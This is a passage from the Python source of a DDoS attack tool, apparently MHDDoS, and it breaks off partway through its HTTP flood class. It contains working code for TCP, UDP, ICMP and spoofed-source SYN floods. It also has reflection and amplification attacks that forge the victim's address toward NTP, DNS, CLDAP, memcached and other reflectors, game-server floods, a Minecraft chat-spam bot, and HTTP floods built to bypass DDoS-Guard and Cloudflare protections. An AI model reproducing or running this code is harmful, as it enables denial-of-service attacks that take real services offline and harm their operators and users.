start.py 70 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730
  1. #!/usr/bin/env python3
  2. from concurrent.futures import ThreadPoolExecutor, as_completed
  3. from contextlib import suppress
  4. from itertools import cycle
  5. from json import load
  6. from logging import basicConfig, getLogger, shutdown
  7. from math import log2, trunc
  8. from multiprocessing import RawValue
  9. from os import urandom as randbytes
  10. from pathlib import Path
  11. from re import compile
  12. from random import choice as randchoice
  13. from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, IPPROTO_ICMP,
  14. SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
  15. gethostname, socket)
  16. from ssl import CERT_NONE, SSLContext, create_default_context
  17. from struct import pack as data_pack
  18. from subprocess import run, PIPE
  19. from sys import argv
  20. from sys import exit as _exit
  21. from threading import Event, Thread
  22. from time import sleep, time
  23. from typing import Any, List, Set, Tuple
  24. from urllib import parse
  25. from uuid import UUID, uuid4
  26. from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
  27. from PyRoxy import Tools as ProxyTools
  28. from certifi import where
  29. from cloudscraper import create_scraper
  30. from dns import resolver
  31. from icmplib import ping
  32. from impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP
  33. from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
  34. from requests import Response, Session, exceptions, get, cookies
  35. from yarl import URL
  36. from base64 import b64encode
  37. basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
  38. datefmt="%H:%M:%S")
  39. logger = getLogger("MHDDoS")
  40. logger.setLevel("INFO")
  41. ctx: SSLContext = create_default_context(cafile=where())
  42. ctx.check_hostname = False
  43. ctx.verify_mode = CERT_NONE
  44. __version__: str = "2.4 SNAPSHOT"
  45. __dir__: Path = Path(__file__).parent
  46. __ip__: Any = None
  47. tor2webs = [
  48. 'onion.city',
  49. 'onion.cab',
  50. 'onion.direct',
  51. 'onion.sh',
  52. 'onion.link',
  53. 'onion.ws',
  54. 'onion.pet',
  55. 'onion.rip',
  56. 'onion.plus',
  57. 'onion.top',
  58. 'onion.si',
  59. 'onion.ly',
  60. 'onion.my',
  61. 'onion.sh',
  62. 'onion.lu',
  63. 'onion.casa',
  64. 'onion.com.de',
  65. 'onion.foundation',
  66. 'onion.rodeo',
  67. 'onion.lat',
  68. 'tor2web.org',
  69. 'tor2web.fi',
  70. 'tor2web.blutmagie.de',
  71. 'tor2web.to',
  72. 'tor2web.io',
  73. 'tor2web.in',
  74. 'tor2web.it',
  75. 'tor2web.xyz',
  76. 'tor2web.su',
  77. 'darknet.to',
  78. 's1.tor-gateways.de',
  79. 's2.tor-gateways.de',
  80. 's3.tor-gateways.de',
  81. 's4.tor-gateways.de',
  82. 's5.tor-gateways.de'
  83. ]
  84. with open(__dir__ / "config.json") as f:
  85. con = load(f)
  86. with socket(AF_INET, SOCK_DGRAM) as s:
  87. s.connect(("8.8.8.8", 80))
  88. __ip__ = s.getsockname()[0]
  89. class bcolors:
  90. HEADER = '\033[95m'
  91. OKBLUE = '\033[94m'
  92. OKCYAN = '\033[96m'
  93. OKGREEN = '\033[92m'
  94. WARNING = '\033[93m'
  95. FAIL = '\033[91m'
  96. RESET = '\033[0m'
  97. BOLD = '\033[1m'
  98. UNDERLINE = '\033[4m'
  99. def exit(*message):
  100. if message:
  101. logger.error(bcolors.FAIL + " ".join(message) + bcolors.RESET)
  102. shutdown()
  103. _exit(1)
  104. class Methods:
  105. LAYER7_METHODS: Set[str] = {
  106. "CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
  107. "NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
  108. "APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER", "TOR", "RHEX", "STOMP"
  109. }
  110. LAYER4_AMP: Set[str] = {
  111. "MEM", "NTP", "DNS", "ARD",
  112. "CLDAP", "CHAR", "RDP"
  113. }
  114. LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
  115. "TCP", "UDP", "SYN", "VSE", "MINECRAFT",
  116. "MCBOT", "CONNECTION", "CPS", "FIVEM",
  117. "TS3", "MCPE", "ICMP"
  118. }
  119. ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
  120. google_agents = [
  121. "Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  122. "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, "
  123. "like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; "
  124. "+http://www.google.com/bot.html)) "
  125. "Googlebot/2.1 (+http://www.google.com/bot.html)",
  126. "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
  127. ]
  128. class Counter:
  129. def __init__(self, value=0):
  130. self._value = RawValue('i', value)
  131. def __iadd__(self, value):
  132. self._value.value += value
  133. return self
  134. def __int__(self):
  135. return self._value.value
  136. def set(self, value):
  137. self._value.value = value
  138. return self
  139. REQUESTS_SENT = Counter()
  140. BYTES_SEND = Counter()
  141. class Tools:
  142. IP = compile("(?:\d{1,3}\.){3}\d{1,3}")
  143. protocolRex = compile('"protocol":(\d+)')
  144. @staticmethod
  145. def humanbytes(i: int, binary: bool = False, precision: int = 2):
  146. MULTIPLES = [
  147. "B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"
  148. ]
  149. if i > 0:
  150. base = 1024 if binary else 1000
  151. multiple = trunc(log2(i) / log2(base))
  152. value = i / pow(base, multiple)
  153. suffix = MULTIPLES[multiple].format("i" if binary else "")
  154. return f"{value:.{precision}f} {suffix}"
  155. else:
  156. return "-- B"
  157. @staticmethod
  158. def humanformat(num: int, precision: int = 2):
  159. suffixes = ['', 'k', 'm', 'g', 't', 'p']
  160. if num > 999:
  161. obje = sum(
  162. [abs(num / 1000.0 ** x) >= 1 for x in range(1, len(suffixes))])
  163. return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}'
  164. else:
  165. return num
  166. @staticmethod
  167. def sizeOfRequest(res: Response) -> int:
  168. size: int = len(res.request.method)
  169. size += len(res.request.url)
  170. size += len('\r\n'.join(f'{key}: {value}'
  171. for key, value in res.request.headers.items()))
  172. return size
  173. @staticmethod
  174. def send(sock: socket, packet: bytes):
  175. global BYTES_SEND, REQUESTS_SENT
  176. if not sock.send(packet):
  177. return False
  178. BYTES_SEND += len(packet)
  179. REQUESTS_SENT += 1
  180. return True
  181. @staticmethod
  182. def sendto(sock, packet, target):
  183. global BYTES_SEND, REQUESTS_SENT
  184. if not sock.sendto(packet, target):
  185. return False
  186. BYTES_SEND += len(packet)
  187. REQUESTS_SENT += 1
  188. return True
  189. @staticmethod
  190. def dgb_solver(url, ua, pro=None):
  191. s = None
  192. idss = None
  193. with Session() as s:
  194. if pro:
  195. s.proxies = pro
  196. hdrs = {
  197. "User-Agent": ua,
  198. "Accept": "text/html",
  199. "Accept-Language": "en-US",
  200. "Connection": "keep-alive",
  201. "Sec-Fetch-Dest": "document",
  202. "Sec-Fetch-Mode": "navigate",
  203. "Sec-Fetch-Site": "none",
  204. "Sec-Fetch-User": "?1",
  205. "TE": "trailers",
  206. "DNT": "1"
  207. }
  208. with s.get(url, headers=hdrs) as ss:
  209. for key, value in ss.cookies.items():
  210. s.cookies.set_cookie(cookies.create_cookie(key, value))
  211. hdrs = {
  212. "User-Agent": ua,
  213. "Accept": "*/*",
  214. "Accept-Language": "en-US,en;q=0.5",
  215. "Accept-Encoding": "gzip, deflate",
  216. "Referer": url,
  217. "Sec-Fetch-Dest": "script",
  218. "Sec-Fetch-Mode": "no-cors",
  219. "Sec-Fetch-Site": "cross-site"
  220. }
  221. with s.post("https://check.ddos-guard.net/check.js", headers=hdrs) as ss:
  222. for key, value in ss.cookies.items():
  223. if key == '__ddg2':
  224. idss = value
  225. s.cookies.set_cookie(cookies.create_cookie(key, value))
  226. hdrs = {
  227. "User-Agent": ua,
  228. "Accept": "image/webp,*/*",
  229. "Accept-Language": "en-US,en;q=0.5",
  230. "Accept-Encoding": "gzip, deflate",
  231. "Cache-Control": "no-cache",
  232. "Referer": url,
  233. "Sec-Fetch-Dest": "script",
  234. "Sec-Fetch-Mode": "no-cors",
  235. "Sec-Fetch-Site": "cross-site"
  236. }
  237. with s.get(f"{url}.well-known/ddos-guard/id/{idss}", headers=hdrs) as ss:
  238. for key, value in ss.cookies.items():
  239. s.cookies.set_cookie(cookies.create_cookie(key, value))
  240. return s
  241. return False
  242. @staticmethod
  243. def safe_close(sock=None):
  244. if sock:
  245. sock.close()
  246. class Minecraft:
  247. @staticmethod
  248. def varint(d: int) -> bytes:
  249. o = b''
  250. while True:
  251. b = d & 0x7F
  252. d >>= 7
  253. o += data_pack("B", b | (0x80 if d > 0 else 0))
  254. if d == 0:
  255. break
  256. return o
  257. @staticmethod
  258. def data(*payload: bytes) -> bytes:
  259. payload = b''.join(payload)
  260. return Minecraft.varint(len(payload)) + payload
  261. @staticmethod
  262. def short(integer: int) -> bytes:
  263. return data_pack('>H', integer)
  264. @staticmethod
  265. def long(integer: int) -> bytes:
  266. return data_pack('>q', integer)
  267. @staticmethod
  268. def handshake(target: Tuple[str, int], version: int, state: int) -> bytes:
  269. return Minecraft.data(Minecraft.varint(0x00),
  270. Minecraft.varint(version),
  271. Minecraft.data(target[0].encode()),
  272. Minecraft.short(target[1]),
  273. Minecraft.varint(state))
  274. @staticmethod
  275. def handshake_forwarded(target: Tuple[str, int], version: int, state: int, ip: str, uuid: UUID) -> bytes:
  276. return Minecraft.data(Minecraft.varint(0x00),
  277. Minecraft.varint(version),
  278. Minecraft.data(
  279. target[0].encode(),
  280. b"\x00",
  281. ip.encode(),
  282. b"\x00",
  283. uuid.hex.encode()
  284. ),
  285. Minecraft.short(target[1]),
  286. Minecraft.varint(state))
  287. @staticmethod
  288. def login(protocol: int, username: str) -> bytes:
  289. if isinstance(username, str):
  290. username = username.encode()
  291. return Minecraft.data(Minecraft.varint(0x00 if protocol >= 391 else \
  292. 0x01 if protocol >= 385 else \
  293. 0x00),
  294. Minecraft.data(username))
  295. @staticmethod
  296. def keepalive(protocol: int, num_id: int) -> bytes:
  297. return Minecraft.data(Minecraft.varint(0x0F if protocol >= 755 else \
  298. 0x10 if protocol >= 712 else \
  299. 0x0F if protocol >= 471 else \
  300. 0x10 if protocol >= 464 else \
  301. 0x0E if protocol >= 389 else \
  302. 0x0C if protocol >= 386 else \
  303. 0x0B if protocol >= 345 else \
  304. 0x0A if protocol >= 343 else \
  305. 0x0B if protocol >= 336 else \
  306. 0x0C if protocol >= 318 else \
  307. 0x0B if protocol >= 107 else \
  308. 0x00),
  309. Minecraft.long(num_id) if protocol >= 339 else \
  310. Minecraft.varint(num_id))
  311. @staticmethod
  312. def chat(protocol: int, message: str) -> bytes:
  313. return Minecraft.data(Minecraft.varint(0x03 if protocol >= 755 else \
  314. 0x03 if protocol >= 464 else \
  315. 0x02 if protocol >= 389 else \
  316. 0x01 if protocol >= 343 else \
  317. 0x02 if protocol >= 336 else \
  318. 0x03 if protocol >= 318 else \
  319. 0x02 if protocol >= 107 else \
  320. 0x01),
  321. Minecraft.data(message.encode()))
  322. # noinspection PyBroadException,PyUnusedLocal
  323. class Layer4(Thread):
  324. _method: str
  325. _target: Tuple[str, int]
  326. _ref: Any
  327. SENT_FLOOD: Any
  328. _amp_payloads = cycle
  329. _proxies: List[Proxy] = None
  330. def __init__(self,
  331. target: Tuple[str, int],
  332. ref: List[str] = None,
  333. method: str = "TCP",
  334. synevent: Event = None,
  335. proxies: Set[Proxy] = None,
  336. protocolid: int = 74):
  337. Thread.__init__(self, daemon=True)
  338. self._amp_payload = None
  339. self._amp_payloads = cycle([])
  340. self._ref = ref
  341. self.protocolid = protocolid
  342. self._method = method
  343. self._target = target
  344. self._synevent = synevent
  345. if proxies:
  346. self._proxies = list(proxies)
  347. self.methods = {
  348. "UDP": self.UDP,
  349. "SYN": self.SYN,
  350. "VSE": self.VSE,
  351. "TS3": self.TS3,
  352. "MCPE": self.MCPE,
  353. "FIVEM": self.FIVEM,
  354. "MINECRAFT": self.MINECRAFT,
  355. "CPS": self.CPS,
  356. "CONNECTION": self.CONNECTION,
  357. "MCBOT": self.MCBOT,
  358. }
  359. def run(self) -> None:
  360. if self._synevent: self._synevent.wait()
  361. self.select(self._method)
  362. while self._synevent.is_set():
  363. self.SENT_FLOOD()
  364. def open_connection(self,
  365. conn_type=AF_INET,
  366. sock_type=SOCK_STREAM,
  367. proto_type=IPPROTO_TCP):
  368. if self._proxies:
  369. s = randchoice(self._proxies).open_socket(
  370. conn_type, sock_type, proto_type)
  371. else:
  372. s = socket(conn_type, sock_type, proto_type)
  373. s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
  374. s.settimeout(.9)
  375. s.connect(self._target)
  376. return s
  377. def TCP(self) -> None:
  378. s = None
  379. with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
  380. while Tools.send(s, randbytes(1024)):
  381. continue
  382. Tools.safe_close(s)
  383. def MINECRAFT(self) -> None:
  384. handshake = Minecraft.handshake(self._target, self.protocolid, 1)
  385. ping = Minecraft.data(b'\x00')
  386. s = None
  387. with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
  388. while Tools.send(s, handshake):
  389. Tools.send(s, ping)
  390. Tools.safe_close(s)
  391. def CPS(self) -> None:
  392. global REQUESTS_SENT
  393. s = None
  394. with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
  395. REQUESTS_SENT += 1
  396. Tools.safe_close(s)
  397. def alive_connection(self) -> None:
  398. s = None
  399. with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
  400. while s.recv(1):
  401. continue
  402. Tools.safe_close(s)
  403. def CONNECTION(self) -> None:
  404. global REQUESTS_SENT
  405. with suppress(Exception):
  406. Thread(target=self.alive_connection).start()
  407. REQUESTS_SENT += 1
  408. def UDP(self) -> None:
  409. s = None
  410. with suppress(Exception), socket(AF_INET, SOCK_DGRAM) as s:
  411. while Tools.sendto(s, randbytes(1024), self._target):
  412. continue
  413. Tools.safe_close(s)
  414. def ICMP(self) -> None:
  415. payload = self._genrate_icmp()
  416. s = None
  417. with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) as s:
  418. s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
  419. while Tools.sendto(s, payload, self._target):
  420. continue
  421. Tools.safe_close(s)
  422. def SYN(self) -> None:
  423. s = None
  424. with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:
  425. s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
  426. while Tools.sendto(s, self._genrate_syn(), self._target):
  427. continue
  428. Tools.safe_close(s)
  429. def AMP(self) -> None:
  430. s = None
  431. with suppress(Exception), socket(AF_INET, SOCK_RAW,
  432. IPPROTO_UDP) as s:
  433. s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
  434. while Tools.sendto(s, *next(self._amp_payloads)):
  435. continue
  436. Tools.safe_close(s)
  437. def MCBOT(self) -> None:
  438. s = None
  439. with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
  440. Tools.send(s, Minecraft.handshake_forwarded(self._target,
  441. self.protocolid,
  442. 2,
  443. ProxyTools.Random.rand_ipv4(),
  444. uuid4()))
  445. username = f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}"
  446. password = b64encode(username.encode()).decode()[:8].title()
  447. Tools.send(s, Minecraft.login(self.protocolid, username))
  448. sleep(1.5)
  449. Tools.send(s, Minecraft.chat(self.protocolid, "/register %s %s" % (password, password)))
  450. Tools.send(s, Minecraft.chat(self.protocolid, "/login %s" % password))
  451. while Tools.send(s, Minecraft.chat(self.protocolid, str(ProxyTools.Random.rand_str(256)))):
  452. sleep(1.1)
  453. Tools.safe_close(s)
  454. def VSE(self) -> None:
  455. global BYTES_SEND, REQUESTS_SENT
  456. payload = (b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
  457. b'\x20\x51\x75\x65\x72\x79\x00')
  458. with socket(AF_INET, SOCK_DGRAM) as s:
  459. while Tools.sendto(s, payload, self._target):
  460. continue
  461. Tools.safe_close(s)
  462. def FIVEM(self) -> None:
  463. global BYTES_SEND, REQUESTS_SENT
  464. payload = b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00'
  465. with socket(AF_INET, SOCK_DGRAM) as s:
  466. while Tools.sendto(s, payload, self._target):
  467. continue
  468. Tools.safe_close(s)
  469. def TS3(self) -> None:
  470. global BYTES_SEND, REQUESTS_SENT
  471. payload = b'\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02'
  472. with socket(AF_INET, SOCK_DGRAM) as s:
  473. while Tools.sendto(s, payload, self._target):
  474. continue
  475. Tools.safe_close(s)
  476. def MCPE(self) -> None:
  477. global BYTES_SEND, REQUESTS_SENT
  478. payload = (b'\x61\x74\x6f\x6d\x20\x64\x61\x74\x61\x20\x6f\x6e\x74\x6f\x70\x20\x6d\x79\x20\x6f'
  479. b'\x77\x6e\x20\x61\x73\x73\x20\x61\x6d\x70\x2f\x74\x72\x69\x70\x68\x65\x6e\x74\x20'
  480. b'\x69\x73\x20\x6d\x79\x20\x64\x69\x63\x6b\x20\x61\x6e\x64\x20\x62\x61\x6c\x6c'
  481. b'\x73')
  482. with socket(AF_INET, SOCK_DGRAM) as s:
  483. while Tools.sendto(s, payload, self._target):
  484. continue
  485. Tools.safe_close(s)
  486. def _genrate_syn(self) -> bytes:
  487. ip: IP = IP()
  488. ip.set_ip_src(__ip__)
  489. ip.set_ip_dst(self._target[0])
  490. tcp: TCP = TCP()
  491. tcp.set_SYN()
  492. tcp.set_th_flags(0x02)
  493. tcp.set_th_dport(self._target[1])
  494. tcp.set_th_sport(ProxyTools.Random.rand_int(32768, 65535))
  495. ip.contains(tcp)
  496. return ip.get_packet()
  497. def _genrate_icmp(self) -> bytes:
  498. ip: IP = IP()
  499. ip.set_ip_src(__ip__)
  500. ip.set_ip_dst(self._target[0])
  501. icmp: ICMP = ICMP()
  502. icmp.set_icmp_type(icmp.ICMP_ECHO)
  503. icmp.contains(Data(b"A" * ProxyTools.Random.rand_int(16, 1024)))
  504. ip.contains(icmp)
  505. return ip.get_packet()
  506. def _generate_amp(self):
  507. payloads = []
  508. for ref in self._ref:
  509. ip: IP = IP()
  510. ip.set_ip_src(self._target[0])
  511. ip.set_ip_dst(ref)
  512. ud: UDP = UDP()
  513. ud.set_uh_dport(self._amp_payload[1])
  514. ud.set_uh_sport(self._target[1])
  515. ud.contains(Data(self._amp_payload[0]))
  516. ip.contains(ud)
  517. payloads.append((ip.get_packet(), (ref, self._amp_payload[1])))
  518. return payloads
  519. def select(self, name):
  520. self.SENT_FLOOD = self.TCP
  521. for key, value in self.methods.items():
  522. if name == key:
  523. self.SENT_FLOOD = value
  524. elif name == "ICMP":
  525. self.SENT_FLOOD = self.ICMP
  526. self._target = (self._target[0], 0)
  527. elif name == "RDP":
  528. self._amp_payload = (
  529. b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
  530. 3389)
  531. self.SENT_FLOOD = self.AMP
  532. self._amp_payloads = cycle(self._generate_amp())
  533. elif name == "CLDAP":
  534. self._amp_payload = (
  535. b'\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00'
  536. b'\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00',
  537. 389)
  538. self.SENT_FLOOD = self.AMP
  539. self._amp_payloads = cycle(self._generate_amp())
  540. elif name == "MEM":
  541. self._amp_payload = (
  542. b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211)
  543. self.SENT_FLOOD = self.AMP
  544. self._amp_payloads = cycle(self._generate_amp())
  545. elif name == "CHAR":
  546. self._amp_payload = (b'\x01', 19)
  547. self.SENT_FLOOD = self.AMP
  548. self._amp_payloads = cycle(self._generate_amp())
  549. elif name == "ARD":
  550. self._amp_payload = (b'\x00\x14\x00\x00', 3283)
  551. self.SENT_FLOOD = self.AMP
  552. self._amp_payloads = cycle(self._generate_amp())
  553. elif name == "NTP":
  554. self._amp_payload = (b'\x17\x00\x03\x2a\x00\x00\x00\x00', 123)
  555. self.SENT_FLOOD = self.AMP
  556. self._amp_payloads = cycle(self._generate_amp())
  557. elif name == "DNS":
  558. self._amp_payload = (
  559. b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00'
  560. b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00',
  561. 53)
  562. self.SENT_FLOOD = self.AMP
  563. self._amp_payloads = cycle(self._generate_amp())
  564. # noinspection PyBroadException,PyUnusedLocal
  565. class HttpFlood(Thread):
  566. _proxies: List[Proxy] = None
  567. _payload: str
  568. _defaultpayload: Any
  569. _req_type: str
  570. _useragents: List[str]
  571. _referers: List[str]
  572. _target: URL
  573. _method: str
  574. _rpc: int
  575. _synevent: Any
  576. SENT_FLOOD: Any
  577. def __init__(self,
  578. thread_id: int,
  579. target: URL,
  580. host: str,
  581. method: str = "GET",
  582. rpc: int = 1,
  583. synevent: Event = None,
  584. useragents: Set[str] = None,
  585. referers: Set[str] = None,
  586. proxies: Set[Proxy] = None) -> None:
  587. Thread.__init__(self, daemon=True)
  588. self.SENT_FLOOD = None
  589. self._thread_id = thread_id
  590. self._synevent = synevent
  591. self._rpc = rpc
  592. self._method = method
  593. self._target = target
  594. self._host = host
  595. self._raw_target = (self._host, (self._target.port or 80))
  596. if not self._target.host[len(self._target.host) - 1].isdigit():
  597. self._raw_target = (self._host, (self._target.port or 80))
  598. self.methods = {
  599. "POST": self.POST,
  600. "CFB": self.CFB,
  601. "CFBUAM": self.CFBUAM,
  602. "XMLRPC": self.XMLRPC,
  603. "BOT": self.BOT,
  604. "APACHE": self.APACHE,
  605. "BYPASS": self.BYPASS,
  606. "DGB": self.DGB,
  607. "OVH": self.OVH,
  608. "AVB": self.AVB,
  609. "STRESS": self.STRESS,
  610. "DYN": self.DYN,
  611. "SLOW": self.SLOW,
  612. "GSB": self.GSB,
  613. "RHEX": self.RHEX,
  614. "STOMP": self.STOMP,
  615. "NULL": self.NULL,
  616. "COOKIE": self.COOKIES,
  617. "TOR": self.TOR,
  618. "EVEN": self.EVEN,
  619. "DOWNLOADER": self.DOWNLOADER,
  620. "BOMB": self.BOMB,
  621. "PPS": self.PPS,
  622. "KILLER": self.KILLER,
  623. }
  624. if not referers:
  625. referers: List[str] = [
  626. "https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
  627. ",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer"
  628. "/sharer.php?u=",
  629. ",https://drive.google.com/viewerng/viewer?url=",
  630. ",https://www.google.com/translate?u="
  631. ]
  632. self._referers = list(referers)
  633. if proxies:
  634. self._proxies = list(proxies)
  635. if not useragents:
  636. useragents: List[str] = [
  637. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 ',
  638. 'Safari/537.36',
  639. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 ',
  640. 'Safari/537.36',
  641. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 ',
  642. 'Safari/537.36',
  643. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0',
  644. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
  645. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19577',
  646. 'Mozilla/5.0 (X11) AppleWebKit/62.41 (KHTML, like Gecko) Edge/17.10859 Safari/452.6',
  647. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931',
  648. 'Chrome (AppleWebKit/537.1; Chrome50.0; Windows NT 6.3) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393',
  649. 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.9200',
  650. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',
  651. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246',
  652. 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
  653. 'Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
  654. 'Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9',
